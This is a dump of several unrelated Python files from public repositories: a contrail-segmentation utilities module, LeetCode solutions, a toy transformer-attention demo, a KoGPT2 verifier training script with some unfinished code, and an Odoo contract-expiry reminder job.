mode='bilinear',\r\n align_corners=False, \r\n ).cpu()\r\n proba = F.interpolate(\r\n probas[i].float().unsqueeze(0).unsqueeze(1), # interpolate as (N, C, H, W)\r\n scale_factor=1 / self.preview_downscale, \r\n mode='bilinear', \r\n align_corners=False, \r\n ).cpu()\r\n targ = F.interpolate(\r\n target[i].float().unsqueeze(0).unsqueeze(1), # interpolate as (N, C, H, W)\r\n scale_factor=1 / self.preview_downscale,\r\n mode='bilinear',\r\n align_corners=False, \r\n ).cpu()\r\n\r\n self.previews['input'].append(inp)\r\n self.previews['proba'].append((proba * 255).byte())\r\n self.previews['target'].append((targ * 255).byte())\r\n \r\n def compute(self):\r\n captions = list(self.previews.keys())\r\n preview_grids = [\r\n make_grid(\r\n torch.cat(v, dim=0), \r\n nrow=int(self.n_images ** 0.5)\r\n ).float()\r\n for v in self.previews.values()\r\n ]\r\n\r\n return captions, preview_grids\r\n\r\n\r\nclass FeatureExtractorWrapper(nn.Module):\r\n def __init__(self, model, format: Format | str = 'NHWC'):\r\n super().__init__()\r\n self.model = model\r\n self.output_stride = 32\r\n self.format = format if isinstance(format, Format) else Format(format)\r\n\r\n def __iter__(self):\r\n return iter(self.model)\r\n \r\n def forward(self, x):\r\n if self.format == Format('NHWC'):\r\n features = [nhwc_to(y, Format('NCHW')) for y in self.model(x)]\r\n else:\r\n features = self.model(x)\r\n return features\r\n\r\n\r\n@contextlib.contextmanager\r\ndef temp_setattr(object, attr_name, attr_value):\r\n old_value = getattr(object, attr_name)\r\n setattr(object, attr_name, attr_value)\r\n try:\r\n yield\r\n finally:\r\n setattr(object, attr_name, old_value)\r\n\r\n\r\nclass UpsampleWrapper(nn.Module):\r\n def __init__(self, model, n_frames=None, scale_factor=4, postprocess=None):\r\n super().__init__()\r\n self.model = model\r\n self.n_frames = n_frames\r\n\r\n self.upsampling = None\r\n if scale_factor != 1:\r\n self.upsampling = nn.UpsamplingBilinear2d(scale_factor=scale_factor)\r\n \r\n self.postprocess = None\r\n if postprocess == 'cnn':\r\n self.postprocess = nn.Sequential(\r\n nn.Conv2d(1, 1, kernel_size=3, padding=1, dilation=1, stride=1, bias=True, padding_mode='reflect'),\r\n nn.BatchNorm2d(1),\r\n nn.LeakyReLU(inplace=True),\r\n nn.Conv2d(1, 1, kernel_size=3, padding=1, dilation=1, stride=1, bias=True, padding_mode='reflect'),\r\n nn.BatchNorm2d(1),\r\n nn.LeakyReLU(inplace=True),\r\n nn.Conv2d(1, 1, kernel_size=3, padding=1, dilation=1, stride=1, bias=True, padding_mode='reflect'),\r\n )\r\n elif postprocess == 'erosion':\r\n self.postprocess = Erosion2d(1, 1, 3, soft_max=False)\r\n\r\n def forward(self, x):\r\n if self.n_frames is not None:\r\n # It is assumed that for training there is \r\n # self.n_frames <= N_TIMES frames and for inference\r\n # there is N_TIMES frames\r\n n_frames = self.n_frames if self.training else N_TIMES\r\n # To use albumentations, T dim is stacked to C dim\r\n # unstack here and stack to N dim to use with video model\r\n # (N, C * T, H, W) -> (N * T, C, H, W)\r\n N, C_T, H, W = x.shape\r\n assert C_T % n_frames == 0, \\\r\n f'Number of channels * frames for video {C_T} is not divisible by ' \\\r\n f'assumed number of frames {n_frames}.'\r\n C = C_T // n_frames\r\n x = x.view(N, C, n_frames, H, W)\r\n x = x.permute(0, 2, 1, 3, 4).contiguous()\r\n x = x.view(-1, C, H, W)\r\n \r\n # Get predictions: num_frames is different for train and val\r\n # but the model expects num_frames as per its config\r\n with temp_setattr(self.model.model.transformer_module, 'num_frames', n_frames):\r\n x = self.model(x)\r\n else:\r\n x = self.model(x)\r\n\r\n video = False\r\n if isinstance(x, torch.Tensor):\r\n # eva or mmseg or smp or smp_old\r\n pass\r\n else:\r\n # hf\r\n if 'logits' in x:\r\n # segformer or upernet\r\n x = x['logits']\r\n else:\r\n if x.masks_queries_logits.ndim == 4:\r\n # mask2former\r\n x, _ = x.masks_queries_logits.max(1, keepdim=True)\r\n elif x.masks_queries_logits.ndim == 5:\r\n video = True\r\n # video_mask2former\r\n # Note: scaling is only spatial not temporal, so\r\n # not not keep dim \r\n # (N, Q, T, H, W) -> (N, C = T, H, W)\r\n x, _ = x.masks_queries_logits.max(1, keepdim=False)\r\n\r\n # Upsample to original size\r\n if self.upsampling is not None:\r\n x = self.upsampling(x)\r\n\r\n # Postprocess\r\n # TODO: make it work with video\r\n if self.postprocess is not None and not video:\r\n x = self.postprocess(x)\r\n\r\n # Permute video\r\n if video:\r\n # (N, C = T, H, W) -> (N, H, W, C = T)\r\n x = x.permute(0, 2, 3, 1).contiguous()\r\n\r\n return x\r\n\r\n\r\ndef get_feature_channels(model, input_shape, output_format='NHWC'):\r\n is_training = model.training\r\n model.eval()\r\n \r\n x = torch.randn(1, *input_shape).to(next(model.parameters()).device)\r\n with torch.no_grad():\r\n y = model(x)\r\n channel_index = output_format.find('C')\r\n assert channel_index != -1, \\\r\n f'output_format {output_format} not supported, must contain C'\r\n assert all(len(output_format) == len(y_.shape) for y_ in y), \\\r\n f'output_format {output_format} does not match output shape {y[0].shape}'\r\n result = tuple(y_.shape[channel_index] for y_ in y)\r\n logger.info(f'feature channels: {result}')\r\n \r\n model.train(is_training)\r\n \r\n return result\r\n\r\n\r\ndef contrails_collate_fn(batch):\r\n \"\"\"Collate function for surface volume dataset.\r\n batch: list of dicts of key:str, value: np.ndarray | list | None\r\n output: dict of torch.Tensor\r\n \"\"\"\r\n output = defaultdict(list)\r\n for sample in batch:\r\n for k, v in sample.items():\r\n if v is None:\r\n continue\r\n output[k].append(v)\r\n \r\n for k, v in output.items():\r\n if isinstance(v[0], (str, int)) or v[0].dtype == object:\r\n output[k] = v\r\n else:\r\n output[k] = default_collate(v)\r\n \r\n return output\r\n\r\n\r\nclass CacheDictWithSave(dict):\r\n \"\"\"Cache dict that saves itself to disk when full.\"\"\"\r\n def __init__(self, record_dirs, cache_save_path: Optional[Path] = None, not_labeled_mode: bool = False, *args, **kwargs):\r\n if not_labeled_mode is None or not_labeled_mode == 'video':\r\n self.total_expected_records = len(record_dirs)\r\n elif not_labeled_mode == 'single':\r\n self.total_expected_records = len(record_dirs) * N_TIMES\r\n\r\n self.cache_save_path = cache_save_path\r\n self.cache_already_on_disk = False\r\n \r\n super().__init__(*args, **kwargs)\r\n\r\n if self.cache_save_path is not None and self.cache_save_path.exists():\r\n logger.info(f'Loading cache from {self.cache_save_path}')\r\n self.load()\r\n assert len(self) >= self.total_expected_records, \\\r\n f'Cache loaded from {self.cache_save_path} has {len(self)} records, ' \\\r\n f'but {self.total_expected_records} were expected.'\r\n \r\n # Check all the records are in the cache\r\n if not_labeled_mode is None:\r\n # Only labeled\r\n time_indices = [LABELED_TIME_INDEX]\r\n elif not_labeled_mode == 'video':\r\n # All, each record is full video\r\n # so no time index is needed\r\n time_indices = [None]\r\n elif not_labeled_mode == 'single':\r\n # All, each record is single frame\r\n time_indices = range(N_TIMES)\r\n\r\n for time_idx in time_indices:\r\n assert all((time_idx, d) in self for d in record_dirs)\r\n\r\n def __setitem__(self, index, value):\r\n # Hack to allow setting items in joblib.load()\r\n initialized = (\r\n hasattr(self, 'total_expected_records') and\r\n hasattr(self, 'cache_save_path') and\r\n hasattr(self, 'cache_already_on_disk')\r\n )\r\n if not initialized:\r\n super().__setitem__(index, value)\r\n return\r\n \r\n if len(self) >= self.total_expected_records + 1:\r\n logger.warning(\r\n f'More records than expected '\r\n f'({len(self)} >= {self.total_expected_records + 1}) '\r\n f'in cache. Will be added, but not saved to disk.'\r\n )\r\n super().__setitem__(index, value)\r\n if (\r\n not self.cache_already_on_disk and \r\n len(self) >= self.total_expected_records and \r\n self.cache_save_path is not None\r\n ):\r\n self.save()\r\n\r\n def load(self):\r\n cache = joblib.load(self.cache_save_path)\r\n self.update(cache)\r\n self.cache_already_on_disk = True\r\n\r\n def save(self):\r\n assert not self.cache_already_on_disk, \\\r\n f'cache_already_on_disk = True, but save() was called. ' \\\r\n f'This should not happen.'\r\n assert not self.cache_save_path.exists(), \\\r\n f'Cache save path {self.cache_save_path} already exists ' \\\r\n f'but was not loaded from disk (cache_already_on_disk = False). ' \\\r\n f'This should not happen.'\r\n\r\n logger.info(f'Saving cache to {self.cache_save_path}')\r\n joblib.dump(self, self.cache_save_path)\r\n self.cache_already_on_disk = True\r\n\r\nCacheDictWithSaveProxy = MakeProxyType(\"CacheDictWithSaveProxy\", [\r\n '__contains__', '__delitem__', '__getitem__', '__len__',\r\n '__setitem__', 'clear', 'copy', 'default_factory', 'fromkeys',\r\n 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault',\r\n 'update', 'values'])\r\n\r\n# Register proxy on the main process\r\nSyncManager.register(\"CacheDictWithSaveProxy\", CacheDictWithSave, CacheDictWithSaveProxy)\r\n\r\n\r\nclass EMACallback(Callback):\r\n \"\"\"Wrapper around https://github.com/fadel/pytorch_ema\r\n library: keep track of exponential moving average of model \r\n weights across epochs with given decay and saves it \r\n on the end of training to each attached ModelCheckpoint \r\n callback output dir as `ema-{decay}.pth` file.\r\n \"\"\"\r\n def __init__(self, decay=0.9, save_on='train_epoch_end'):\r\n super().__init__()\r\n self.ema = None\r\n self.decay = decay\r\n\r\n assert save_on in ['train_epoch_end', 'validation_end', 'fit_end']\r\n self.save_on = save_on\r\n\r\n def on_fit_start(self, trainer, pl_module):\r\n self.ema = ExponentialMovingAverage(pl_module.parameters(), decay=self.decay)\r\n \r\n def on_train_epoch_end(self, trainer, pl_module):\r\n if self.ema is None:\r\n return\r\n\r\n self.ema.update()\r\n\r\n if self.save_on == 'train_epoch_end':\r\n self._save(trainer)\r\n \r\n def on_validation_end(self, trainer, pl_module):\r\n if self.ema is None:\r\n return\r\n\r\n if self.save_on == 'validation_end':\r\n self._save(trainer)\r\n\r\n def on_fit_end(self, trainer, pl_module):\r\n if self.ema is None:\r\n return\r\n \r\n if self.save_on == 'fit_end':\r\n self._save(trainer)\r\n \r\n def _save(self, trainer):\r\n assert self.ema is not None\r\n\r\n with self.ema.average_parameters():\r\n for cb in trainer.checkpoint_callbacks:\r\n if (\r\n isinstance(cb, ModelCheckpoint) and \r\n not isinstance(cb, ModelCheckpointNoSave)\r\n ):\r\n trainer.save_checkpoint(\r\n os.path.join(cb.dirpath, f'ema-{self.decay}.ckpt'),\r\n weights_only=False, # to easily operate via PL API\r\n )\r\n\r\n\r\ndef rle_encode(x, fg_val=1):\r\n \"\"\"\r\n Args:\r\n x: numpy array of shape (height, width), 1 - mask, 0 - background\r\n Returns: run length encoding as list\r\n \"\"\"\r\n\r\n dots = np.where(\r\n x.T.flatten() == fg_val)[0] # .T sets Fortran order down-then-right\r\n run_lengths = []\r\n prev = -2\r\n for b in dots:\r\n if b > prev + 1:\r\n run_lengths.extend((b + 1, 0))\r\n run_lengths[-1] += 1\r\n prev = b\r\n return run_lengths\r\n\r\n\r\ndef list_to_string(x):\r\n \"\"\"\r\n Converts list to a string representation\r\n Empty list returns '-'\r\n \"\"\"\r\n if x: # non-empty list\r\n s = str(x).replace(\"[\", \"\").replace(\"]\", \"\").replace(\",\", \"\")\r\n else:\r\n s = '-'\r\n return s\r\n\r\n\r\ndef rle_decode(mask_rle, shape=(256, 256)):\r\n '''\r\n mask_rle: run-length as string formatted (start length)\r\n empty predictions need to be encoded with '-'\r\n shape: (height, width) of array to return \r\n Returns numpy array, 1 - mask, 0 - background\r\n '''\r\n\r\n img = np.zeros(shape[0]*shape[1], dtype=np.uint8)\r\n if mask_rle != '-': \r\n s = mask_rle.split()\r\n starts, lengths = [np.asarray(x, dtype=int) for x in (s[0:][::2], s[1:][::2])]\r\n starts -= 1\r\n ends = starts + lengths\r\n for lo, hi in zip(starts, ends):\r\n img[lo:hi] = 1\r\n return img.reshape(shape, order='F') # Needed to align to RLE direction\r\n\r\n\r\nclass ContrailsPredictionWriterCsv(BasePredictionWriter):\r\n def __init__(self, output_path: Path, threshold: float = 0.5):\r\n super().__init__('batch_and_epoch')\r\n self.output_path = output_path\r\n assert 0 <= threshold <= 1\r\n self.threshold = threshold\r\n self.prediction_info = []\r\n\r\n def write_on_batch_end(\r\n self, trainer, pl_module, prediction, batch_indices, batch, batch_idx, dataloader_idx\r\n ):\r\n _, prediction = pl_module.extract_targets_and_probas_for_metric(prediction, batch)\r\n prediction = prediction.cpu().numpy() > self.threshold\r\n for i in range(prediction.shape[0]):\r\n self.prediction_info.append(\r\n {\r\n 'record_id': int(batch['path'][i].split('/')[-1]),\r\n 'encoded_pixels': list_to_string(rle_encode(prediction[i]))\r\n }\r\n )\r\n \r\n def write_on_epoch_end(self, trainer, pl_module, predictions, batch_indices):\r\n df = pd.DataFrame(self.prediction_info)\r\n\r\n # Sort by record_id\r\n df = df.sort_values(by=['record_id'])\r\n\r\n # Save to csv\r\n df.to_csv(self.output_path, index=False)\r\n\r\n \r\n# https://stackoverflow.com/questions/49555991/\r\n# can-i-create-a-local-numpy-random-seed\r\n@contextlib.contextmanager\r\ndef temp_seed(seed):\r\n state = np.random.get_state()\r\n np.random.seed(seed)\r\n try:\r\n yield\r\n finally:\r\n np.random.set_state(state)\r\n\r\n\r\nclass ContrailsPredictionWriterPng(BasePredictionWriter):\r\n def __init__(self, output_dir: Path, postfix: str | None = None, img_size = None, threshold = None):\r\n super().__init__('batch')\r\n output_dir.mkdir(parents=True, exist_ok=True)\r\n self.output_dir = output_dir\r\n if postfix is None:\r\n # Generate random alphanumeric string, seed is calculated from\r\n # sys.argv to make it reproducible but different for different\r\n # runs. Use numpy random\r\n seed = hash(tuple(sys.argv)) % (2 ** 32)\r\n with temp_seed(seed):\r\n postfix = ''.join(\r\n np.random.choice(list(string.ascii_letters + string.digits))\r\n for _ in range(10)\r\n )\r\n self.postfix = postfix\r\n logger.info(f'ContrailsPredictionWriterPng postfix: {postfix}')\r\n self.img_size = img_size\r\n self.threshold = threshold\r\n\r\n def write_on_batch_end(\r\n self, trainer, pl_module, prediction, batch_indices, batch, batch_idx, dataloader_idx\r\n ):\r\n _, prediction = pl_module.extract_targets_and_probas_for_metric(prediction, batch)\r\n\r\n # Resize if needed\r\n if self.img_size is not None and not (\r\n self.img_size == prediction.shape[1] and \r\n self.img_size == prediction.shape[2]\r\n ):\r\n prediction = F.interpolate(\r\n prediction.unsqueeze(1),\r\n size=(self.img_size, self.img_size),\r\n mode='bilinear',\r\n align_corners=False,\r\n ).squeeze(1)\r\n\r\n # Threshold\r\n if self.threshold is not None:\r\n prediction = (prediction > self.threshold).long()\r\n\r\n # Conver to numpy\r\n prediction = (prediction.cpu().numpy() * 255).astype(np.uint8)\r\n\r\n # Save\r\n for i in range(prediction.shape[0]):\r\n time_idx = batch['time_idx'][i] if 'time_idx' in batch else LABELED_TIME_INDEX\r\n out_path = self.output_dir / (batch['path'][i].split('/')[-1] + f'_{time_idx}_{self.postfix}.png')\r\n cv2.imwrite(str(out_path), prediction[i])\r\n\r\n\r\ndef interpolate_scale_factor_to_P_keep(scale_factor):\r\n assert scale_factor >= 1 and scale_factor <= 20.25, \\\r\n f'scale_factor must be in [1, 20.25], got {scale_factor}'\r\n a, b = (-0.04943797671403398, 1.0674201235161613)\r\n return np.clip(a * scale_factor + b, 0.0, 1.0)\r\n","repo_name":"mkotyushev/contrails","sub_path":"src/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":45202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"15539472946","text":"\nclass Solution(object):\n def twoSum2(self, nums: list, target: int) -> list:\n k = len(nums) - 1\n i = 0\n res = []\n while i < k:\n if nums[i] + nums[k] > target:\n k -= 1\n elif nums[i] + nums[k] < target:\n i += 1\n else:\n res = [i, k]\n break\n return res\n \n def sortColors(self, nums: list) -> list:\n n = len(nums)\n p1 = 0\n p2 = n-1\n i = 0\n while i <= p2:\n while i <= p2 and nums[i] == 2:\n nums[i], nums[p2] = nums[p2], nums[i]\n p2 -= 1\n if nums[i] == 0:\n nums[i], nums[p1] = nums[p1], nums[i]\n p1 += 1\n i += 1\n return nums\n\n\n\n\nso = Solution()\n# res = so.twoSum2([2,7,22,23], 9)\nres = so.sortColors([0,1,2,1,2,0,1,2,0])\nprint(res)","repo_name":"WarMap/python_al","sub_path":"TwoPointer.py","file_name":"TwoPointer.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"1717970501","text":"from tensorflow.keras.layers import LayerNormalization, Dense, LayerNormalization, Softmax \nimport tensorflow as tf \nimport numpy as np\n\nN_Token = 16 #\nm, H = 2, 2 \n\nB,T,C = 1, 5, m*H #Batch, Time, Channels\ndata = np.array([[0, 3, 6, 9, 12, 15]]) #T+1 data points\n\n#Creating the input and output pairs\ny_observed = data[:,1:] # 3,6,9,12,15 shape (B, T)\nT_input = tf.Variable(data[:,0:T]) # 0,3,6, 9,12 shape (B, T)\nT_input.shape, y_observed.shape\n\n#Creating the embedding layer of the input\nembedding_matrix = tf.Variable(tf.random.normal([N_Token, C]))\n#tf.gather picks the rows of the embedding matrix corresponding to the input tokens\nx = tf.gather(embedding_matrix, T_input) #shape (B, T, C)\nprint(np.round(x[0].numpy().T, 2))\nx = LayerNormalization()(x) \n\n### Attention Layer calculation of the weight matix W\n## We first go into the space where the attention is calculated (comparison between the query and the key)) \nwk = tf.random.normal(shape=(H, C, m)) # The weights for the key\nK = tf.einsum('btc, hcm -> bhtm', x, wk) # Transformation in the B, H, T, m \nprint(\"K, Q, V\")\nprint(np.round(K[0,0].numpy().T, 2))\n\nwq = tf.random.normal(shape=(H, C, m))\nQ = tf.einsum('btc, hcm -> bhtm', x, wq) \nprint(np.round(Q[0,0].numpy().T, 2))\n\nwV = tf.random.normal(shape=(H, C, m))\nV = tf.einsum('btc, hcm -> bhtm', x, wV) \nprint(np.round(V[0,0].numpy().T, 2))\n\nW = tf.einsum('bhtd, bhTd -> bhtT', Q, K) # B, H, T, T\n\n#Normalization\nW = W / tf.sqrt(1.0*m)\n\n#Causal Masking (Still a bit ugly code)\n# Create a mask with zeros in the lower triangular part, including diagonal\nW_shape = W.shape\nmask = tf.ones(W_shape[-2:]) - tf.linalg.band_part(tf.ones(W_shape[-2:]), -1, 0)\nmask = mask * -tf.float32.max# Broadcast the mask to the shape of W\nmask = tf.broadcast_to(mask, W_shape)\nW = W + mask\nprint(np.round(W[0,0].numpy(), 2))\n\n#Softmax\nW = tf.nn.softmax(W, axis=-1)\nprint(np.round(W[0,0].numpy(), 2))\n\n#Multiply with V\nxout = tf.einsum('bhtm, bhtd -> bhtd', W, V) # B, H, T, m\nprint(np.round(xout[0,0].numpy().T, 2))\nprint(np.round(xout[0,1].numpy().T, 2))\n\n#Concactinate the heads (not the fastest solution)\nxout_list = []\n# Loop over the attention heads (axis=1 of xout)\nfor i in range(H):\n xout_head = xout[:, i, :, :] # Shape: (B, T, m)\n xout_list.append(xout_head)\n# Concatenate along the last axis (axis=-1)\nxout = tf.concat(xout_list, axis=-1)\nprint(np.round(xout[0].numpy().T, 2))\n\n# A linear layer\nxout = tf.keras.layers.Dense(C)(xout)\n\n# A residual connection\nx = x + xout\n\n# A layer normalization\nx = LayerNormalization()(x) #np.round(tf.reduce_mean(x, axis=-1),2)\n\n# A feed forward layer (along the C axis)\nxout = Dense(4*C, activation='relu')(x) #In GPT a GeLu activation is used\nxout = Dense(C)(xout)\nx = x + xout #Again Residual connection\n\n# This attention block is repeated many times\nx = LayerNormalization()(x) #Layer Normalization\nxout = Dense(N_Token, activation='relu')(x) #From (B, T, C) to (B, T, N_Token)\npout = Softmax(axis=-1)(xout) #Softmax along the last axis\n\n\n# The loss function\ny_observed_one_hot = tf.one_hot(y_observed, depth=N_Token) # shape: (B, T, N_Token)\nloss = -tf.reduce_sum(y_observed_one_hot * tf.math.log(pout + 1e-10)) / (B * T) # Add a small constant for numerical stability\n\nprint(\"Loss:\", loss.numpy())","repo_name":"ioskn/mldl_htwg","sub_path":"transformers/atto_GTP.py","file_name":"atto_GTP.py","file_ext":"py","file_size_in_byte":3272,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"}
+{"seq_id":"27971845766","text":"if \"__file__\" in globals():\n import os, sys\n sys.path.append(os.path.join(os.path.dirname(__file__), \"../..\"))\n\n\nimport os\nimport torch\nimport wandb\nfrom transformers import (\n AutoTokenizer, \n GPT2LMHeadModel,\n TrainingArguments,\n Trainer,\n)\nfrom datasets import load_dataset\nimport pandas as pd\nfrom datasets import load_metric\nimport numpy as np\nfrom utils import GPTAccuracyMetrics, get_answer\nimport sys\nimport time\nimport random\nimport argparse as ap\nfrom torch import nn, optim\nimport torch.nn.functional as F\nimport json\nfrom tqdm import tqdm\n\n\ntorch.manual_seed(42)\nnp.random.seed(42)\nrandom.seed(42) \ntorch.cuda.manual_seed_all(42)\n\ndef prepare_train_features(examples):\n for i, j in enumerate(examples['problem']):\n examples['problem'][i] = j + '' + str(examples[\"class\"][i]) + ''\n\n tokenized_examples = tokenizer(\n text=examples['problem'],\n text_pair=examples['code'],\n padding='max_length',\n max_length=260\n )\n tokenized_examples[\"labels\"] = tokenized_examples[\"input_ids\"].copy()\n for i in range(len(examples['attention_mask'])):\n tokenized_examples[\"attention_mask\"][i] = torch.tensor(list(map(int,examples['attention_mask'][i].split()))+[0]*(260-len(examples['attention_mask'][i].split())))\n tokenized_examples[\"labels\"][i] = torch.tensor(list(map(int,examples['labels'][i].split()))+[0]*(260-len(examples['labels'][i].split())))\n \n \n return tokenized_examples\n\n\n\nfilepath = 'verifier_data'\nfilename = 'verifier_data.csv'\nhomedir = os.getcwd()\n\n\ntokenizer = AutoTokenizer.from_pretrained('skt/kogpt2-base-v2', bos_token='', sep_token='', eos_token='', pad_token='')\ndataset = load_dataset('csv', data_files=f'{homedir}/CloudData/math/data/{filepath}/{filename}', split='train')\ndictdataset = dataset.train_test_split(0.06)\ntokenized_datasets = dictdataset.map(prepare_train_features, batched=True, remove_columns=dataset.column_names)\ntokenized_datasets.set_format(type='torch', columns=['input_ids', 'attention_mask', 'labels'],device='cuda')\n\n\n\nclass Verifier(nn.Module):\n def __init__(self, model_path='skt/kogpt2-base-v2'):\n super(Verifier, self).__init__()\n self.kogpt = GPT2LMHeadModel.from_pretrained(model_path, output_hidden_states=True)\n self.linear1 = nn.Linear(768,64)\n self.linear2 = nn.Linear(64,1)\n self.sigmoid = torch.sigmoid\n\n def forward(self, **data):\n self.kogpt.train()\n output = self.kogpt(**data)\n batch, n_head, senlen, emb = output[2][-1][-1].shape\n output = output[2][-1][-1].transpose(1,2).view(batch,-1,768)\n output = self.linear1(output)\n output = self.linear2(output)\n output = self.sigmoid(output)\n return output\n\n def joint(self, model):\n self.gen_model=model\n\n def generate(self, tokenized_data, EVAL_BATCH=8, per_sentence=True):\n self.eval()\n outputs = self.gen_model.generate(tokenized_data, max_length = 260, do_sample=True, top_k=50, top_p=0.95, num_return_sequences=100)\n output_shape = outputs.shape()\n scores = []\n for i in range(0,output_shape[0],EVAL_BATCH):\n score = self(output[i:i+EVAL])\n score = torch.sum(score, axis=1)\n scores.extend(score.numpy().to_list())\n\n return scores\n\n\ndef train():\n t = tqdm(range(0,100000,BATCH_SIZE))\n for i in t:\n global verifier\n \n verifier.train()\n verifier.zero_grad()\n \n output = verifier(**tokenized_datasets['train'][i:i+BATCH_SIZE])\n \n output = output.squeeze() * tokenized_datasets['train']['attention_mask'][i:i+BATCH_SIZE] #.type(torch.FloatTensor)\n \n loss = (output - tokenized_datasets['train']['labels'][i:i+BATCH_SIZE])**2\n \n loss = torch.sum(loss)\n \n t.set_description_str('What? %2d' % (i//BATCH_SIZE + 1))\n t.set_postfix_str('Loss %.4f' % (loss.item() / (BATCH_SIZE)))\n loss = loss / torch.tensor(BATCH_SIZE)\n optimizer.zero_grad()\n\n loss.backward()\n optimizer.step()\n scheduler.step()\n\nverifier = Verifier()\n\nverifier.load_state_dict(torch.load('veri/first.pt'))\n\nmodel = GPT2LMHeadModel.from_pretrained(\"gen_verifier/gen_data_cp300\").to(device)\n\nverifier.gen_model(model)\n\nverifier.to('cuda')\n\nlearning_rate = 0.00001\n\noptimizer = optim.Adam(verifier.parameters(), lr=learning_rate)\n\nscheduler = torch.optim.lr_scheduler.OneCycleLR(optimizer, max_lr=0.001, \n steps_per_epoch=1000, epochs=10,anneal_strategy='linear')\n\nBATCH_SIZE = 32\n\n\nprint(verifier.generate(tokenized_datasets['test'][0]['input_ids']))\n\n# train()\n\n# torch.save(verifier.state_dict(), 'veri/first.pt')\n","repo_name":"SunCreation/CloudData","sub_path":"nn/koGPT-2/verifier.py","file_name":"verifier.py","file_ext":"py","file_size_in_byte":4749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"30866016949","text":"class NumMatrix:\n\n def __init__(self, matrix: List[List[int]]):\n self.matrix = matrix\n # modify matrix so that matrix[i][j] is sumRegion(0, 0, i, j)\n width, height = len(matrix[0]), len(matrix)\n for i in range(height):\n curr_sum = 0\n for j in range(width):\n curr_sum += matrix[i][j]\n matrix[i][j] = curr_sum\n if i != 0:\n for j in range(width):\n matrix[i][j] += matrix[i - 1][j]\n\n def access(self, x: int, y: int) -> int:\n return self.matrix[x][y] if (x >= 0 and y >= 0) else 0\n \n def sumRegion(self, row1: int, col1: int, row2: int, col2: int) -> int:\n row1 -= 1\n col1 -= 1\n return self.access(row2, col2) + self.access(row1, col1) - self.access(row1, col2) - self.access(row2, col1)\n \n# Your NumMatrix object will be instantiated and called as such:\n# obj = NumMatrix(matrix)\n# param_1 = obj.sumRegion(row1,col1,row2,col2)","repo_name":"Maxwell-Yang-2001/maxwell-yang-leetcode","sub_path":"304-range-sum-query-2d-immutable/304-range-sum-query-2d-immutable.py","file_name":"304-range-sum-query-2d-immutable.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"41688914531","text":"import time\nimport datetime\nfrom datetime import date, datetime, timedelta\nfrom dateutil import relativedelta\nfrom openerp.osv import fields, osv\nfrom dateutil.relativedelta import relativedelta\nfrom openerp.tools.translate import _\nimport datetime\nfrom openerp.tools import DEFAULT_SERVER_DATE_FORMAT,DEFAULT_SERVER_DATETIME_FORMAT\n\n\nclass schedeule_warning(osv.osv):\n\t_name = \"schedule.warning\"\n\t_description = \" module untuk memberikan warning jika ada kontrak yang mau habis\"\n\n\t_columns = {\n\t\t'name' : fields.selection([('kontrak','Kontrak')], 'Warning',required=True),\n\t\t'lama' : fields.integer(\"Warning/Hari\"),\n\t}\nschedeule_warning()\n\nclass contract(osv.osv):\n\t_inherit = \"hr.contract\"\n\n\tdef cron_kontrak(self, cr, uid, ids=None,context=None):\n\t\tchat_obj = self.pool.get('im_chat.message')\n\t\tconversation_obj= self.pool.get('im_chat.conversation_state')\n\t\tsession_obj \t= self.pool.get('im_chat.session')\n\n\t\tdate \t\t\t= fields.date.today()\n\t\tdate_now \t\t= datetime.datetime.strptime(date,\"%Y-%m-%d\")\n\n\t\tobj = self.pool.get(\"schedule.warning\")\n\t\tsearch = obj.search(cr,uid,[('name','=','kontrak')])\n\t\tday = obj.browse(cr,uid,search)[0].lama \n\t\tdays_warning \t= datetime.timedelta(days=day)\n\t\t\n\t\tcontract_expired = self.search(cr,uid,[('date_end','<',str(date_now+days_warning)),('date_end','>',str(date_now))],context=context)\n\t\tcontract_expired_3 = self.search(cr,uid,[('date_end','>',str(date_now+days_warning)),('date_end','>',str(date_now))],context=context)\n\t\tcontract_expired_4 = self.search(cr,uid,[('date_end','=',False)],context=context)\n\t\tcontract_expired_2 = contract_expired_3 + contract_expired_4\n\n\t\tx = 0\n\t\tdata = []\n\t\tfor no in self.browse(cr,uid,contract_expired) :\n\t\t\tfor no_1 in self.browse(cr,uid,contract_expired_2) :\n\t\t\t\tif no.employee_id.id == no_1.employee_id.id :\n\t\t\t\t\tx = 1 \n\t\t\tif x != 1:\n\t\t\t\tdata.append(no.id)\t\t \n\t\t\n\t\tnames = 'Kontrak a/n'\n\t\tfor name in self.browse(cr,uid,data) :\n\t\t\tnames = names + \" \"+ name.name + \",\"\n\n\t\tobj = self.pool.get(\"res.users\").search(cr,uid,[('name','=','info')])\n\n\t\tif contract_expired :\n\n\t\t\t#create sesi chat\n\t\t\tsession_id \t\t= session_obj.create(cr,uid,{})\n\n\t\t\t#create chat yang di sign ke user warehouse dengan sesi yang di buat sebelumnya\n\t\t\tconversation_obj.create(cr,uid,{'state':'open',\n\t\t\t\t\t\t\t\t\t\t\t'session_id':session_id,\n\t\t\t\t\t\t\t\t\t\t\t'user_id':1})\n\n\t\t\t# create message\n\t\t\tif days_warning :\n\t\t\t\tchat_obj.create(cr,uid,{'create_date':fields.date.today(),\n\t\t\t\t\t\t\t\t\t\t'from_id':obj[0],\n\t\t\t\t\t\t\t\t\t\t'to_id':session_id,\n\t\t\t\t\t\t\t\t\t\t'type':'meta',\n\t\t\t\t\t\t\t\t\t\t'message':names + 'Sudah Masuk Masa Kaladuarsa'})\n\n\t\t\tchat_obj.create(cr,uid,{'create_date':fields.date.today(),\n\t\t\t\t\t\t\t\t\t\t'from_id':obj[0],\n\t\t\t\t\t\t\t\t\t\t'to_id':session_id,\n\t\t\t\t\t\t\t\t\t\t'type':'meta',\n\t\t\t\t\t\t\t\t\t\t'message':'Pemberitahuan ini dibuat oleh sistem, mohon tidak di balas. Terima kasih.'})\t\t\t\t\n\n\t\treturn 